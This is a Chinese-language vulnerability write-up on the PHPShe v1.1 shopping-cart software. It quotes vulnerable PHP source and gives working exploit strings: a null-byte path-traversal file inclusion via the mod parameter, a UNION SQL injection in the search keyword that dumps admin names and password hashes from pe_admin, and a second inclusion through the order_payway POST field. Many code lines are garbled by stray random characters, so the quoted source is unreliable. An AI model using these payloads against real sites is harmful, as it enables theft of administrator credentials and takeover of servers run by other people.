phpshe v1.1多处SQL注入和文件包含漏洞Getshell

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/*******************************************************/
/* Phpshe v1.1 Vulnerability
/* ========================
/* By: : Kn1f3
/* E-Mail : 681796@qq.com
# ^; |4 U4 t% p$ p* s- V. B& p/*******************************************************/
0×00 整体大概参数传输
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//common.php
if (get_magic_quotes_gpc()) {
* {# q$ ~! Y+ \* M, n!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
else {
!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
1 S  E3 a2 z5 B7 L3 l' g! X}
0 c" E: @. m( j( qsession_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

0×01 包含漏洞
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' T+ M% g+ u' Z4 H1 s; v//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
% Z$ f. J. H+ x7 f; qinclude("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
; t4 B; X1 K" Qpe_result();
?>
* F5 {1 V) Z, }9 K/ W9 j+ e//common 文件 第15行开始
url路由配置
1 _/ L) K" @( G  Y$module = $mod = $act = 'index';
$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
! v: c: x" X  a- {" R; O2 C- y8 Z$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
5 K0 y$ _% e! W//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00

0×02 搜索注入

* f/ d: d; w" R8 @! T+ w; ]6 \( S<code id="code2">

//product.php文件
case 'list':
$category_id = intval($id);
# `; G! ^# g) I& p# J$ N! P, D1 A$info = $db->pe_select('category', array('category_id'=>$category_id));
0 I8 \2 K& O# F6 l; w" L) y//搜索
$sqlwhere = " and `product_state` = 1";
4 Q6 F# ~. p/ r( M6 P+ a7 z: M* k% Epe_lead('hook/category.hook.php');
if ($category_id) {
where .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
" h$ C7 C# u: j. J& [$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
if ($_g_orderby) {
: p+ G. |3 J" y: R/ g; ~$orderby = explode('_', $_g_orderby);
; _  L. E& M* k  ~$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
$ ]4 ^" |; p1 e7 O% p2 _: a}
else {
$sqlwhere .= " order by `product_id` desc";
}
% b, z- y& D/ @$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
//热卖排行
+ E7 I: o+ E5 ]0 O+ A' [# H$product_hotlist = product_hotlist();
3 @  s* E. Q) i# s1 b; O( l5 y//当前路径
$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
2 u8 ~5 V2 y9 j0 _2 D8 ?include(pe_tpl('product_list.html'));
8 ^3 ~2 @$ [! ^4 K& G" H3 ?2 v//跟进selectall函数库
* r# N, ~' m/ Z6 w# Q3 ^0 V% Vpublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
* H% i: _5 O7 @1 J7 W+ V  C{
- I. Q" C4 m* A: w) K//处理条件语句
9 Q8 ^2 B8 V/ y$sqlwhere = $this->_dowhere($where);
return $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
}
/ H  b; ]4 y9 v" A& {/ P//exp
9 v& c8 ^( c6 D( A5 }  h) ]product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1
0 H0 C& y: h3 }( p/ C" {

</code>
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0×03 包含漏洞2
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6 c! R! S# j# ~; f<code id="code3">

//order.php

case 'pay':

$order_id = pe_dbhold($_g_id);

/ e; v/ j! P9 f$ f$cache_payway = cache::get('payway');

foreach($cache_payway as $k => $v) {

* W* {2 D, ~7 z+ D$ P+ K7 k$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

7 n8 \/ N4 m$ T1 S3 v4 dif ($k == 'bank') {

$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

2 W) i7 M4 ^4 M# t}

$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

& m3 t7 H/ u. D' g  Z% }: c!$order['order_id'] && pe_error('订单号错误...');

, ?$ t+ P: ?5 S/ Jif (isset($_p_pesubmit)) {

if ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

+ G# i4 i% ^3 @3 J6 ?0 q$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

6 c2 }# B# [! p  X: a0 Dforeach ($info_list as $v) {

: {3 n6 x! z6 M, d. v# u8 D/ E* R$order['order_name'] .= "{$v['product_name']};";
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}

; `9 [( ]) R% v8 g1 `echo '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

" g  Z2 p8 H% x, g% C}//当一切准备好的时候就可以进行"鸡肋包含了"

- G2 K8 z2 a  selse {

. ^, W  K" G# y! g  x0 a% Tpe_error('支付错误...');

0 u* w" w! j, t: P0 k7 H6 D}

}

$seo = pe_seo('选择支付方式');

9 _  o, s8 U# H6 z! ]0 dinclude(pe_tpl('order_pay.html'));

, u7 A$ P9 b* T5 y5 Qbreak;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
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